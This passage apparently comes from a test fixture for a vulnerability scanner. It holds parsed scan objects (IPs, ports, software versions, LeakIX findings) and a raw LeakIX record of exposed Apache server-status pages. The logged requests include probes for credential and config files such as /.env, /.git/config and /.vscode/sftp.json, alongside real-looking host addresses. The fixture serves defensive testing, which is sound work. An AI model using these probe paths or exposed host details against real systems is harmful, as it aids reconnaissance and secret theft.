IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|103.31.39.64', address=IPv4Address('103.31.39.64'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|103.31.39.64|23', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|136052'), parent=None, start_ip=Reference('IPAddressV4|internet|103.31.39.64'), mask=23), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|103.31.39.64|tcp|443', address=Reference('IPAddressV4|internet|103.31.39.64'), protocol=<Protocol.TCP: 'tcp'>, port=443, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|103.31.39.64', address=IPv4Address('103.31.39.64'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|nginx|1.25.3|', name='nginx', version='1.25.3', cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|103.31.39.64|Software|nginx|1.25.3|', ooi=Reference('IPAddressV4|internet|103.31.39.64'), software=Reference('Software|nginx|1.25.3|')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|nginx|1.25.3||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|nginx|1.25.3|'), proof=None, description='Software = \"nginx\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|63199', number='63199', name='CDSC-AS1'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|148.153.126.87', address=IPv4Address('148.153.126.87'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|148.153.126.87|20', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|63199'), parent=None, start_ip=Reference('IPAddressV4|internet|148.153.126.87'), mask=20), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|148.153.126.87|tcp|443', address=Reference('IPAddressV4|internet|148.153.126.87'), protocol=<Protocol.TCP: 'tcp'>, port=443, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|148.153.126.87', address=IPv4Address('148.153.126.87'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|VIP|vipshop|', name='VIP', version='vipshop', cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|148.153.126.87|Software|VIP|vipshop|', ooi=Reference('IPAddressV4|internet|148.153.126.87'), software=Reference('Software|VIP|vipshop|')), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|7922', number='7922', name='COMCAST-7922'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|104.171.169.158', address=IPv4Address('104.171.169.158'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|104.171.169.158|21', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|7922'), parent=None, start_ip=Reference('IPAddressV4|internet|104.171.169.158'), mask=21), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|104.171.169.158|tcp|6556', address=Reference('IPAddressV4|internet|104.171.169.158'), protocol=<Protocol.TCP: 'tcp'>, port=6556, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|104.171.169.158', address=IPv4Address('104.171.169.158'), network=Reference('Network|internet'), netblock=None), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-HIGH', id='KAT-LEAKIX-HIGH', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|IPAddressV4|internet|104.171.169.158|KAT-LEAKIX-HIGH', finding_type=Reference('KATFindingType|KAT-LEAKIX-HIGH'), ooi=Reference('IPAddressV4|internet|104.171.169.158'), proof=None, description='Plugin = \"IPAddressV4|internet|104.171.169.158\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|60130', number='60130', name='Nexthop AS'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|185.56.187.42', address=IPv4Address('185.56.187.42'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|185.56.187.42|22', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|60130'), parent=None, start_ip=Reference('IPAddressV4|internet|185.56.187.42'), mask=22), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|185.56.187.42|tcp|443', address=Reference('IPAddressV4|internet|185.56.187.42'), protocol=<Protocol.TCP: 'tcp'>, port=443, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|185.56.187.42', address=IPv4Address('185.56.187.42'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|Apache||', name='Apache', version=None, cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|185.56.187.42|Software|Apache||', ooi=Reference('IPAddressV4|internet|185.56.187.42'), software=Reference('Software|Apache||')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|Apache|||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|Apache||'), proof=None, description='Software = \"Apache\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|4766', number='4766', name='Korea Telecom'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|183.111.5.204', address=IPv4Address('183.111.5.204'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|183.111.5.204|18', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|4766'), parent=None, start_ip=Reference('IPAddressV4|internet|183.111.5.204'), mask=18), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|183.111.5.204|tcp|80', address=Reference('IPAddressV4|internet|183.111.5.204'), protocol=<Protocol.TCP: 'tcp'>, port=80, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|183.111.5.204', address=IPv4Address('183.111.5.204'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|Apache||', name='Apache', version=None, cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|183.111.5.204|Software|Apache||', ooi=Reference('IPAddressV4|internet|183.111.5.204'), software=Reference('Software|Apache||')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|Apache|||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|Apache||'), proof=None, description='Software = \"Apache\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|8849', number='8849', name='Melbikomas UAB'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|162.247.152.131', address=IPv4Address('162.247.152.131'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|162.247.152.131|22', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|8849'), parent=None, start_ip=Reference('IPAddressV4|internet|162.247.152.131'), mask=22), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|162.247.152.131|tcp|443', address=Reference('IPAddressV4|internet|162.247.152.131'), protocol=<Protocol.TCP: 'tcp'>, port=443, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|162.247.152.131', address=IPv4Address('162.247.152.131'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|Apache||', name='Apache', version=None, cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|162.247.152.131|Software|Apache||', ooi=Reference('IPAddressV4|internet|162.247.152.131'), software=Reference('Software|Apache||')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|Apache|||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|Apache||'), proof=None, description='Software = \"Apache\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|1136', number='1136', name='KPN B.V.'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|77.60.161.116', address=IPv4Address('77.60.161.116'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|77.60.161.116|16', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|1136'), parent=None, start_ip=Reference('IPAddressV4|internet|77.60.161.116'), mask=16), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|77.60.161.116|tcp|443', address=Reference('IPAddressV4|internet|77.60.161.116'), protocol=<Protocol.TCP: 'tcp'>, port=443, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|77.60.161.116', address=IPv4Address('77.60.161.116'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|Apache||', name='Apache', version=None, cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|77.60.161.116|Software|Apache||', ooi=Reference('IPAddressV4|internet|77.60.161.116'), software=Reference('Software|Apache||')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|Apache|||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|Apache||'), proof=None, description='Software = \"Apache\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|396982', number='396982', name='GOOGLE-CLOUD-PLATFORM'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|35.197.147.118', address=IPv4Address('35.197.147.118'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|35.197.147.118|15', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|396982'), parent=None, start_ip=Reference('IPAddressV4|internet|35.197.147.118'), mask=15), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|35.197.147.118|tcp|80', address=Reference('IPAddressV4|internet|35.197.147.118'), protocol=<Protocol.TCP: 'tcp'>, port=80, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|35.197.147.118', address=IPv4Address('35.197.147.118'), network=Reference('Network|internet'), netblock=None), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|IPAddressV4|internet|35.197.147.118|KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('IPAddressV4|internet|35.197.147.118'), proof=None, description='Plugin = \"IPAddressV4|internet|35.197.147.118\".', reproduce=None), AutonomousSystem(object_type='AutonomousSystem', scan_profile=None, user_id=None, primary_key='AutonomousSystem|14061', number='14061', name='DIGITALOCEAN-ASN'), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|143.244.145.201', address=IPv4Address('143.244.145.201'), network=Reference('Network|internet'), netblock=None), IPV4NetBlock(object_type='IPV4NetBlock', scan_profile=None, user_id=None, primary_key='IPV4NetBlock|internet|internet|143.244.145.201|18', network=Reference('Network|internet'), name=None, description=None, announced_by=Reference('AutonomousSystem|14061'), parent=None, start_ip=Reference('IPAddressV4|internet|143.244.145.201'), mask=18), IPPort(object_type='IPPort', scan_profile=None, user_id=None, primary_key='IPPort|internet|143.244.145.201|tcp|443', address=Reference('IPAddressV4|internet|143.244.145.201'), protocol=<Protocol.TCP: 'tcp'>, port=443, state=<PortState.OPEN: 'open'>), IPAddressV4(object_type='IPAddressV4', scan_profile=None, user_id=None, primary_key='IPAddressV4|internet|143.244.145.201', address=IPv4Address('143.244.145.201'), network=Reference('Network|internet'), netblock=None), Software(object_type='Software', scan_profile=None, user_id=None, primary_key='Software|nginx|1.14.0|', name='nginx', version='1.14.0', cpe=None), SoftwareInstance(object_type='SoftwareInstance', scan_profile=None, user_id=None, primary_key='SoftwareInstance|IPAddressV4|internet|143.244.145.201|Software|nginx|1.14.0|', ooi=Reference('IPAddressV4|internet|143.244.145.201'), software=Reference('Software|nginx|1.14.0|')), KATFindingType(object_type='KATFindingType', scan_profile=None, user_id=None, primary_key='KATFindingType|KAT-LEAKIX-MEDIUM', id='KAT-LEAKIX-MEDIUM', name=None, description=None, source=None, impact=None, recommendation=None, risk_score=None, risk_severity=None), Finding(object_type='Finding', scan_profile=None, user_id=None, primary_key='Finding|Software|nginx|1.14.0||KAT-LEAKIX-MEDIUM', finding_type=Reference('KATFindingType|KAT-LEAKIX-MEDIUM'), ooi=Reference('Software|nginx|1.14.0|'), proof=None, description='Software = \"nginx\".', reproduce=None)]\n"
  },
  {
    "path": "boefjes/tests/examples/raw/leakix-example.com.json",
    "content": "[\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ApacheStatusPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ApacheStatusPlugin\"\n    ],\n    \"event_fingerprint\": \"ee80c6706842d3ef6842d3ef6325bb316325bb316413b50b6413b50b49e31ebe\",\n    \"ip\": \"178.128.108.228\",\n    \"host\": \"178.128.108.228\",\n    \"reverse\": \"\",\n    \"port\": \"80\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"http\"\n    ],\n    \"protocol\": \"http\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 301,\n      \"length\": 0,\n      \"header\": {\n        \"content-type\": \"text/html; charset=UTF-8\",\n        \"location\": \"http://146.190.84.131/\",\n        \"server\": \"LiteSpeed\"\n      },\n      \"title\": \"\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"\\nApache Status\\n\\nApache Server Status for 178.128.108.228 (via 127.0.0.1)\\n\\nServer Version: Apache/2.4.52 (Ubuntu) OpenSSL/3.0.2\\nServer MPM: event\\nServer Built: 2023-05-03T20:02:51\\n\\nCurrent Time: Wednesday, 14-Feb-2024 12:54:51 UTC\\nRestart Time: Tuesday, 19-Sep-2023 02:28:28 UTC\\nParent Server Config. Generation: 149\\nParent Server MPM Generation: 148\\nServer uptime:  148 days 10 hours 26 minutes 23 seconds\\nServer load: 0.01 0.01 0.00\\nTotal accesses: 222007 - Total Traffic: 4.5 GB - Total Duration: 146645\\nCPU Usage: u222.99 s515.91 cu68.81 cs58.2 - .00675% CPU load\\n.0173 requests/sec - 379 B/second - 21.4 kB/request - .660542 ms/request\\n1 requests currently being processed, 49 idle workers\\n\\n\\n\\nSlotPIDStoppingConnections\\nThreadsAsync connections\\ntotalacceptingbusyidlewritingkeep-aliveclosing\\n0897296no0yes025000\\n1897297no0yes124000\\nSum200 149000\\n\\n__________________________________W_______________..............\\n................................................................\\n......................\\nScoreboard Key:\\n\\\"_\\\" Waiting for Connection, \\n\\\"S\\\" Starting up, \\n\\\"R\\\" Reading Request,\\n\\\"W\\\" Sending Reply, \\n\\\"K\\\" Keepalive (read), \\n\\\"D\\\" DNS Lookup,\\n\\\"C\\\" Closing connection, \\n\\\"L\\\" Logging, \\n\\\"G\\\" Gracefully finishing, \\n\\\"I\\\" Idle cleanup of worker, \\n\\\".\\\" Open slot with no current process\\n\\n\\n\\nSrvPIDAccMCPU\\nSSReqDurConnChildSlotClientProtocolVHostRequest\\n\\n0-1488972960/0/4041_\\n0.0046490028650.00.0078.28\\n212.102.40.218http/1.1\\n\\n0-1488972960/0/3997_\\n0.0046490017030.00.0070.31\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /img/favicon.png HTTP/1.1\\n\\n0-1488972960/0/4000_\\n0.0046490022250.00.0070.56\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /img/mars%20728%20x%2090-new.gif HTTP/1.1\\n\\n0-1488972960/0/4008_\\n0.001018970.00.0063.96\\n91.92.245.67http/1.1\\n\\n0-1488972960/1/4025_\\n0.0046429017570.00.0074.76\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n0-1488972960/0/4025_\\n0.0046472022210.00.0071.15\\n80.66.88.204http/1.1\\n\\n0-1488972960/1/4086_\\n0.0046453316170.00.0065.65\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n0-1488972960/0/3961_\\n0.00464481126870.00.0073.48\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n0-1488972960/0/4044_\\n0.0046448018970.00.0078.18\\n111.7.96.179http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n0-1488972960/0/3978_\\n0.0046424015440.00.0072.30\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n0-1488972960/0/3970_\\n0.0046424018320.00.0061.88\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /v2/_catalog HTTP/1.1\\n\\n0-1488972960/1/4041_\\n0.0025984017200.00.0079.57\\n80.82.77.139http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n0-1488972960/0/3971_\\n0.00259840120070.00.0075.40\\n80.82.77.139http/1.1\\n\\n0-1488972960/1/3991_\\n0.0021929021900.00.0081.10\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /.git/config HTTP/1.1\\n\\n0-1488972960/0/3959_\\n0.0021924018440.00.0076.73\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /favicon.ico HTTP/1.1\\n\\n0-1488972960/0/4004_\\n0.0021924032510.00.0081.14\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /robots.txt HTTP/1.1\\n\\n0-1488972960/1/4014_\\n0.0025800125970.00.0078.09\\n183.136.225.42http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n0-1488972960/0/3971_\\n0.002580017480.00.0086.44\\n212.102.40.218http/1.1\\n\\n0-1488972960/1/4018_\\n0.002576216670.00.0194.92\\n183.136.225.42http/1.1paitowarnahk.com:8083GET /img/favicon.png HTTP/1.1\\n\\n0-1488972960/0/3985_\\n0.002576115310.00.0080.73\\n127.0.0.1http/1.1paitowarnahk.com:8083POST / HTTP/1.1\\n\\n0-1488972960/1/3994_\\n0.003018440.00.0078.69\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /.vscode/sftp.json HTTP/1.1\\n\\n0-1488972960/0/3970_\\n0.003019710.00.0069.62\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /YFHv HTTP/1.1\\n\\n0-1488972960/1/4001_\\n0.002017660.00.0082.18\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /debug/default/view?panel=config HTTP/1.1\\n\\n0-1488972960/0/3965_\\n0.002416060.00.0079.45\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /img/mars%20728%20x%2090-new.gif HTTP/1.1\\n\\n0-1488972960/1/3955_\\n0.001018730.00.0067.93\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /v2/_catalog HTTP/1.1\\n\\n1-1488972970/5/4876_\\n0.06447022480.00.00107.16\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/5/4829_\\n0.075025630.00.00109.05\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/3/4922_\\n0.065023620.00.00122.53\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/5/4904_\\n0.074020780.00.00121.64\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/3/4886_\\n0.044019720.00.00107.18\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/6/4947_\\n0.073021860.00.00115.59\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /about HTTP/1.1\\n\\n1-1488972970/4/4879_\\n0.063021690.00.00114.54\\n183.136.225.42http/1.1\\n\\n1-1488972970/5/4905_\\n0.070022850.00.00119.76\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor\\n\\n1-1488972970/4/4920_\\n0.060018010.00.0095.72\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972971/5/4864W\\n0.060019150.00.0099.26\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /server-status HTTP/1.1\\n\\n1-1488972970/4/4862_\\n0.052416019510.00.0097.65\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/4/4917_\\n0.071929019850.00.00102.35\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /.env HTTP/1.1\\n\\n1-1488972970/4/4895_\\n0.0719281156210.00.00111.23\\n127.0.0.1http/1.1paitowarnahk.com:8083POST / HTTP/1.1\\n\\n1-1488972970/5/4808_\\n0.051923022810.00.00106.32\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/3/4872_\\n0.061923018880.00.00109.90\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/5/4799_\\n0.071759031800.00.0098.40\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/3/4900_\\n0.051754018470.00.00110.95\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/3/4926_\\n0.061754019630.00.00108.10\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/6/4872_\\n0.071560018380.00.00107.66\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/5/4885_\\n0.051555019590.00.00110.13\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/4/4924_\\n0.031555020960.00.00121.27\\n127.0.0.1http/1.1paitowarnahk.com:8083POST /core/.env HTTP/1.1\\n\\n1-1488972970/4/4788_\\n0.071133019250.00.00102.29\\n127.0.0.1http/1.1paitowarnahk.com:8083GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1\\n\\n1-1488972970/6/4896_\\n0.051133023040.00.00109.69\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/4/4865_\\n0.07452019140.00.00117.10\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n1-1488972970/2/4892_\\n0.06447024290.00.00125.98\\n127.0.0.1http/1.1paitowarnahk.com:8083GET / HTTP/1.1\\n\\n\\n  \\n SrvChild Server number - generation\\n PIDOS process ID\\n AccNumber of accesses this connection / this child / this slot\\n MMode of operation\\nCPUCPU usage, number of seconds\\nSSSeconds since begin\",\n    \"time\": \"2024-02-14T12:54:44.652140707Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"LiteSpeed\",\n        \"version\": \"\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 0,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"Asia\",\n      \"region_iso_code\": \"\",\n      \"city_name\": \"\",\n      \"country_iso_code\": \"SG\",\n      \"country_name\": \"Singapore\",\n      \"region_name\": \"\",\n      \"location\": {\n        \"lat\": 1.2929,\n        \"lon\": 103.8547\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"DIGITALOCEAN-ASN\",\n      \"asn\": 14061,\n      \"network\": \"178.128.0.0/16\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ApacheStatusPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ApacheStatusPlugin\"\n    ],\n    \"event_fingerprint\": \"ee80c6706842d3ef6842d3ef6325bb316325bb31f6523a3cf6523a3c9320ba67\",\n    \"ip\": \"5.153.73.160\",\n    \"host\": \"5.153.73.160\",\n    \"reverse\": \"\",\n    \"port\": \"80\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"http\"\n    ],\n    \"protocol\": \"http\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 200,\n      \"length\": 0,\n      \"header\": {\n        \"content-length\": \"1349\",\n        \"content-type\": \"text/html\",\n        \"server\": \"Apache\"\n      },\n      \"title\": \"Site Currently Unavailable\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"\\nApache Status\\n\\nApache Server Status for 5.153.73.160 (via 10.153.73.160)\\n\\nServer Version: Apache/2.4.41 (Win64) mod_fcgid/2.3.9 OpenSSL/1.1.1c\\nServer MPM: WinNT\\nApache Lounge VS16 Server built: Aug  9 2019 16:46:32\\n\\nCurrent Time: Wednesday, 14-Feb-2024 12:54:30 GMT Standard Time\\nRestart Time: Tuesday, 02-Jan-2024 13:13:48 GMT Standard Time\\nParent Server Config. Generation: 1\\nParent Server MPM Generation: 0\\nServer uptime:  42 days 23 hours 40 minutes 42 seconds\\nServer load: -1.00 -1.00 -1.00\\nTotal accesses: 199162 - Total Traffic: 679.3 MB - Total 